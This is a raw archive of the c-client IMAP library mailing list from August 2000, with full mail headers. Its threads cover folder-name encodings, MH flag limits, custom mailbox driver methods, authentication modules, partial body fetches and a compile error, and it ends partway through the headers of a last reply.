groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA28469 for ; Mon, 14 Aug 2000 10:41:18 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15278; Mon, 14 Aug 2000 10:41:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA28408; Mon, 14 Aug 2000 10:40:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA40392 for ; Mon, 14 Aug 2000 10:39:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (smith@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA18710 for ; Mon, 14 Aug 2000 10:39:52 -0700 Message-Id: Date: Mon, 14 Aug 2000 09:26:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: 8bit characters in the folder names In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Aug 2000 18:22:04 +0200 (CEST), Vadim Zeitlin wrote: > If I understood Mark correctly, the idea is to always use > Unicode (UTF-7) for them to avoid problems with misinterpretations > of names written in one encoding when accessed by a user who uses > another encoding. This is also an IMAP requirement. c-client exports an IMAP type interface. > Fine - I see this point. But why doesn't cclient do it itself? > It has the functions for translations between the known encodings > and UTF-7 used in rfc822 code, so why doesn't it take care of the > folder names as well? Some standard encoding scheme is needed > for the folder names and wouldn't it be better to implement it > in the library instead of leaving it to the programs? The best way to understand this is to ask yourself these two questions: 1) How does c-client know what the human user thinks is the character set? 2) How does c-client supposed to know what the local operating system uses as the character set for files? If you think about these two questions carefully, you'll presently understand that c-client does not (and can not) know in either case. There are dozens of local character sets in use today, all overlapping. c- client has no knowledge of what character set you (the human user) use, nor what the host operating system uses. This is why local character sets are a bad thing. The purpose of the transition to Unicode is to eliminate such problems. Refer to RFC 2130 for more information. From pinedev@shivax2.cac.washington.edu Mon Aug 14 14:31:34 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Aug 2000 14:31:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA08805 for ; Mon, 14 Aug 2000 14:31:33 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA26976; Mon, 14 Aug 2000 14:31:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA06906; Mon, 14 Aug 2000 14:31:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA61854 for ; Mon, 14 Aug 2000 14:30:12 -0700 Received: from unidata.ucar.edu (root@laraine.unidata.ucar.edu [128.117.149.62]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA24318 for ; Mon, 14 Aug 2000 14:30:11 -0700 Received: from unidata.ucar.edu (charlie.unidata.ucar.edu [128.117.140.86]) by unidata.ucar.edu (UCAR/Unidata) with ESMTP id e7ELU5N16514; Mon, 14 Aug 2000 15:30:05 -0600 (MDT) Message-Id: <3998669E.B55273C@unidata.ucar.edu> Date: Mon, 14 Aug 2000 15:37:34 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Caron To: c-client@u.washington.edu Subject: IMAP and mh : why read only? Keywords: 200008142130.e7ELU5N16514 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It seems that our c-client (4.7c) IMAP server cannot set flags on MH messages. (I am accessing it through a client built with the JavaMail 1.3 library). The messaging looks like: A0 CAPABILITY * CAPABILITY IMAP4 IMAP4REV1 NAMESPACE IDLE SCAN SORT MAILBOX-REFERRALS LOGIN-REFERRALS AUTH=LOGIN THREAD=ORDEREDSUBJECT A0 OK CAPABILITY completed A1 AUTHENTICATE LOGIN A1 OK AUTHENTICATE completed A2 SELECT #MHINBOX * 14 EXISTS * 0 RECENT * OK [UIDVALIDITY 966280533] UID validity status * OK [UIDNEXT 25] Predicted next UID * NO [UIDNOTSTICKY] Non-permanent unique identifiers: #MHINBOX * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags * OK [UNSEEN 7] first unseen message in #MHINBOX A2 OK [READ-WRITE] SELECT completed A3 STORE 11 +FLAGS (\Deleted) * 11 FETCH (FLAGS (\Seen \Deleted)) A3 OK STORE completed A5 LOGOUT * BYE laraine.unidata.ucar.edu IMAP4rev1 server terminating connection 1) I conclude that it is an IMAP problem due to the line * OK [PERMANENTFLAGS ()] Permanent flags which I understand means "cant store any flags". 2) if so, is there a trick to getting c-client to set flags on mh messages? (this works ok when i access mbox type files). -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 14 15:13:16 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Aug 2000 15:13:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA21949 for ; Mon, 14 Aug 2000 15:13:15 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA24478; Mon, 14 Aug 2000 15:13:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA08116; Mon, 14 Aug 2000 15:12:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA76658 for ; Mon, 14 Aug 2000 15:11:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (johnl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA31930 for ; Mon, 14 Aug 2000 15:11:47 -0700 Message-Id: Date: Mon, 14 Aug 2000 15:09:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John Caron Cc: c-client@u.washington.edu Subject: re: IMAP and mh : why read only? In-Reply-To: <3998669E.B55273C@unidata.ucar.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The mh format does not support permanent flags. This is a restriction of the mh format, which lacks the c-client/IMAP concept of flags. From pinedev@shivax2.cac.washington.edu Wed Aug 16 12:33:45 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Aug 2000 12:33:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA15974 for ; Wed, 16 Aug 2000 12:33:43 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA28614; Wed, 16 Aug 2000 12:33:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA20171; Wed, 16 Aug 2000 12:32:57 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA59130 for ; Wed, 16 Aug 2000 12:28:54 -0700 Received: from www0a.netaddress.usa.net (www0a.netaddress.usa.net [204.68.24.30]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA11603 for ; Wed, 16 Aug 2000 12:28:54 -0700 Received: (qmail 10183 invoked by uid 60001); 16 Aug 2000 19:28:53 -0000 Received: from 204.68.24.30 by www0a for [212.151.246.80] via web-mailer() on Wed Aug 16 19:28:53 GMT 2000 Message-Id: <20000816192853.10182.qmail@www0a.netaddress.usa.net> Date: 16 Aug 00 21:28:53 MET DST Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jan Nilsson To: c-client@u.washington.edu Subject: Mailbox driver functions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I'm working on a UW IMAPD mailbox driver for my very special needs (from the IMAPD:s point of view you could see it as the message header being stored in one db, the message text in another and possible attachments in a third. All across network). I've taken the unix driver (and learned alot from it) and changed it gradually to suit my environment. I have had some success in implementing some of the driver functions, but now I'm a bit stuck. I need to implement the "structure" and the "msgdata" driver functions to make database access efficient (other suggestions ?), but I'm not sure I know everything these functions should do. In the unix driver (and all the others), the "structure" and "msgdata" functions are not implemented (as I understand it, the "text" function is used instead), so there is no code to learn from. Below is my guessing (and also some Q:s) of what these functions should do, please correct my assumptions and tell me what's missing. The "structure" function ------------------------ This function shall parse the structure of a message (duh) and: - create a new ENVELOPE (if one doesn't exists already) and fill it with info and store pointer to it in elt->private.msg.env - create a new BODY (if one doesn't exists already) and fill it with info and store pointer to it in elt->private.msg.body (what info at minimum do I need to fill it with ??) - If more than one bodypart, create additional linked BODY:s in PART:s storing pointer of the first in elt->private.msg.body->nested.body I assume that I don't have to fill any body->contents with data. = Do I need to fill BODY.size.lines and BODY.size.bytes with data in this function ? Do I need to do anything with : elt->private.msg.full elt->private.msg.lines elt->private.msg.header elt->private.msg.text The "msgdata" function ------------------------ This function shall return the data for a given section of a message. If 0=3Dcontents (for the given section) with data. Do need to do anything with: elt->private.msg.full elt->private.msg.lines elt->private.msg.header elt->private.msg.text If I allocate mem for holding the data of a section whenever this function is called it could really eat a lot of mem if fetching a large attachment or if many parts have been fetched and are kept in the cache. I need to study the code more though, as I understand there are ways to attack this problem (mailgets function? cache mgmt? feel free to give me a hint ;) ) Anyone has some example code or can point me to some info to help me with the above issues ? Thanks! Jan ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 16 14:53:22 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Aug 2000 14:53:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA13291 for ; Wed, 16 Aug 2000 14:53:21 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA00844; Wed, 16 Aug 2000 14:53:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA26740; Wed, 16 Aug 2000 14:52:39 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA55182 for ; Wed, 16 Aug 2000 14:51:10 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (cecil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA21342 for ; Wed, 16 Aug 2000 14:51:09 -0700 Message-Id: Date: Wed, 16 Aug 2000 14:34:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jan Nilsson Cc: c-client@u.washington.edu Subject: re: Mailbox driver functions In-Reply-To: <20000816192853.10182.qmail@www0a.netaddress.usa.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To best understand what the structure and msgdata methods do, look at the IMAP driver which implements these methords. All the "private" structure members are for c-client's internal convenience. Applications do not reference them (and are forbidden from referencing them). You do not need to use any of them. If you do use them, then you need to use them in a way that matches mail.c's caching expectations. You *MUST* fill all ENVELOPE and BODY structures with the complete set of information that comes from IMAP. In other words, you must fill in sizes such as body->size.lines and body->size.bytes; these are not optional. The choice of whether to cache message texts in memory or not is up to you. However, if you use the msgdata interface, you will have to load the appropriate SIZEDTEXT structure in c-client's cache with the string and its size. Take a look at imap_cache() to see what needs to be done to register a text in the cache. The application can tell you to cache something else, if it arms a mailgets_t callback routine. Take a look at imap_parse_string() to see how this works. From pinedev@shivax2.cac.washington.edu Thu Aug 17 04:18:10 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Aug 2000 04:18:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA06574 for ; Thu, 17 Aug 2000 04:18:09 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA18247; Thu, 17 Aug 2000 04:18:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA10547; Thu, 17 Aug 2000 04:17:45 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA29122 for ; Thu, 17 Aug 2000 04:16:55 -0700 Received: from commando.mobilixnet.dk ([195.78.82.40]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA17470 for ; Thu, 17 Aug 2000 04:16:53 -0700 Received: from coltrane.vas.mobilix.dk ([194.234.53.10]) by commando.mobilixnet.dk (8.9.3/8.9.3) with ESMTP id NAA09295 for ; Thu, 17 Aug 2000 13:16:52 +0200 (CEST) Message-Id: Date: Thu, 17 Aug 2000 13:13:20 +0200 (CEST) Reply-To: jonasbn@wanadoo.dk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jonasbn To: c-client@u.washington.edu Subject: Auth things MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jonasbn@coltrane.vas.mobilix.dk X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I was working towards building a IMAP server which would let everybody in without authentication, and I wanted to make use of this PREAUTH thing. I cannot find any documentation which can help me to utilize this... Could anybody please advice? At the same time I'm trying to implement my own authentication module. Does anybody have any experince in this or knowledge that could help me out? So for I'm able to compile the whole thing and the CAPABILITY command shows me my module is there, but I cannot seem to get it to work? As far as I understand I should utilize it using the AUTHENTICATE=mymodule command, but this gives an error :-( Any suggestions? Jonas Eml: jonasbn@wanadoo.dk || ICQ: 62401545 WWW: http://hjem.wanadoo.dk/~wan17111/ WAP: http://jonasbn.hjem.wanadoo.dk/index.wml -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 17 06:32:51 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Aug 2000 06:32:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA27034 for ; Thu, 17 Aug 2000 06:32:50 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA20634; Thu, 17 Aug 2000 06:32:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA18293; Thu, 17 Aug 2000 06:32:18 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA29818 for ; Thu, 17 Aug 2000 06:30:48 -0700 Received: from nw128.netaddress.usa.net (nw128.netaddress.usa.net [204.68.24.28]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id GAA24500 for ; Thu, 17 Aug 2000 06:30:47 -0700 Received: (qmail 14165 invoked by uid 60001); 17 Aug 2000 13:30:46 -0000 Received: from 204.68.24.28 by nw128 for [212.151.188.206] via web-mailer(34FM0700.1.03) on Thu Aug 17 13:30:44 GMT 2000 Message-Id: <20000817133046.14162.qmail@nw128.netaddress.usa.net> Date: 17 Aug 00 15:30:44 MET DST Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jan Nilsson To: Mark Crispin , Jan Nilsson Cc: c-client@u.washington.edu Subject: Re: [re: Mailbox driver functions] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Mark Crispin wrote: >To best understand what the structure and msgdata methods do, look at th= e >IMAP >driver which implements these methords. Alright! didn't look there ..studying them now. >All the "private" structure members are for c-client's internal >convenience. >Applications do not reference them (and are forbidden from referencing >them). >You do not need to use any of them. If you do use them, then you need t= o >use >them in a way that matches mail.c's caching expectations. Ok, so a new driver is also considered an "application" ? I pictured myself that an application like the imapd could be considered layered something like this (?): ---------------------------------- Application (imapd.c) ---------------------------------- c-client (mail.c etc.) ---------------------------------- driver (unix.c ...) ---------------------------------- data storage (unix filesys ...) ---------------------------------- My main problem is that I don't understand the interface between c-client and the driver entirely. I thought that the driver was allowed to deliver data directly into the c-client private structures (some functions in the IMAP driver does this) ? Example: - the imapd receives a "FETCH 2 BODY[1]" from the client. - imapd will eventually call mail_fetch_body->(*stream->dtb->msgdata) - My implementaion of msgdata will get the data (requested by the section param) from a database (in this case "1",the message text). Here's where my problems start. I have the message data (can make it in form of data in mem, a file or a socket) and need to return it to the c-client layer, but I'm not sure how. >You *MUST* fill all ENVELOPE and BODY structures with the complete set o= f >information that comes from IMAP. In other words, you must fill in size= s >such >as body->size.lines and body->size.bytes; these are not optional. OK. >The choice of whether to cache message texts in memory or not is up to >= you. >However, if you use the msgdata interface, you will have to load the >appropriate SIZEDTEXT structure in c-client's cache with the string and = >its >size. Take a look at imap_cache() to see what needs to be done to >regi= ster a >text in the cache. I had a look at imap_cache which I can see delivering data to c-client with the SIZEDTEXT *text parameter. Does that struct (text) contain ALL data for a segment, or could it be only a part of it ? If it contains the entire segment, wouldn't that eat mem in case of a large msg text ? If it only contain a part of the segment data, how will c-client know how to get the rest of it when that time comes ? = >The application can tell you to cache something else, if it arms a >mailgets_t >callback routine. Take a look at imap_parse_string() to see how this >works. Need to look at this function more closely. Don't understand it yet. Still confused, but on a higher level! ;) Many thanks for your help so far Mark! /Jan ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From pinedev@shivax2.cac.washington.edu Thu Aug 17 07:05:24 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Aug 2000 07:05:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA30932 for ; Thu, 17 Aug 2000 07:05:23 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA21289; Thu, 17 Aug 2000 07:05:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA12397; Thu, 17 Aug 2000 07:04:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA55180 for ; Thu, 17 Aug 2000 07:02:41 -0700 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA27597 for ; Thu, 17 Aug 2000 07:02:41 -0700 Received: from mindspring.com (user-33qt29a.dialup.mindspring.com [199.174.137.42]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id KAA05347 for ; Thu, 17 Aug 2000 10:02:39 -0400 (EDT) Message-Id: <399BF07E.62E8E76E@mindspring.com> Date: Thu, 17 Aug 2000 09:02:38 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: C-Client Interest List Subject: BODY[] fetching MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: en, de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a way to get mail_partial_body() to execute the IMAP fetch BODY[] command, where the section is empty, o is the offset, and s is the size? It appears that c-client doesn't send 'BODY[]' commands, where the section is not included. mail_partial_body() appears to only accept explicit section numbers and will not produce a blank section specifier. This behavior appears to make it necessary to call mail_fetch_header() to grab the header and then mail_partial_text() to read the message text in blocks. That is, one can't just get the RFC822 size of the message and then step through the message in chunks. BTW, is a loop on the message size the appropriate way to read a message in chunks or should on set a global in the mailgets function that indicates the end of message? Thanks, John-Paul -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 24 04:11:46 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 04:11:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA07327 for ; Thu, 24 Aug 2000 04:11:45 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA12135; Thu, 24 Aug 2000 04:11:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA20332; Thu, 24 Aug 2000 04:11:18 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA159154 for ; Thu, 24 Aug 2000 04:08:43 -0700 Received: from basil.cant.ac.uk (basil.cant.ac.uk [194.66.208.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA16994 for ; Thu, 24 Aug 2000 04:08:41 -0700 Received: from cant.ac.uk (IDENT:rolf@bay [5.0.9.76]) by basil.cant.ac.uk (8.9.3/8.9.3) with ESMTP id MAA26205 for ; Thu, 24 Aug 2000 12:08:40 +0100 (BST) Message-Id: <39A50236.3A5BC2DD@cant.ac.uk> Date: Thu, 24 Aug 2000 12:08:38 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rolf Habing To: c-client@u.washington.edu Subject: Problems compiling mbxcvt MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: rolf@canterbury.ac.uk X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to compile mbxcvt (from the latest imap-utils.tar.Z, date Aug 14). The following error is produced: [rolf@bay mbxcvt]$ make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o mbxcvt.o mbxcvt.c mbxcvt.c: In function `main': mbxcvt.c:175: warning: passing arg 3 of pointer to function from incompatible pointer type mbxcvt.c:175: too few arguments to function make: *** [mbxcvt.o] Error 1 I'm running RH6.2 (i386). I had to amend the C = ../imap-2000/c-client as I'm running imap-4.7c. I need mbxcvt to convert our unix mailboxes to mbx style (about 20,000 of them). Any patches or hints on how to patch this would be very much appreciated. Thanks, Rolf Habing Systems and Networking Canterbury Christ Church University College -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 24 04:56:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 04:56:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA25002 for ; Thu, 24 Aug 2000 04:56:24 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA13025; Thu, 24 Aug 2000 04:56:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA20638; Thu, 24 Aug 2000 04:56:02 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA22182 for ; Thu, 24 Aug 2000 04:55:38 -0700 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA19540 for ; Thu, 24 Aug 2000 04:55:37 -0700 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.10.1/8.10.1) with ESMTP id e7OBtZU05630; Thu, 24 Aug 2000 13:55:36 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.10.1/8.10.1) with ESMTP id e7OBtJX01819; Thu, 24 Aug 2000 13:55:24 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id RQAM1CLD; Thu, 24 Aug 2000 15:59:03 +0400 Message-Id: <000901c00dc2$22af8a80$21c9ca95@mow.siemens.ru> Date: Thu, 24 Aug 2000 15:55:02 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Rolf Habing" , Subject: RE: Problems compiling mbxcvt In-Reply-To: <39A50236.3A5BC2DD@cant.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 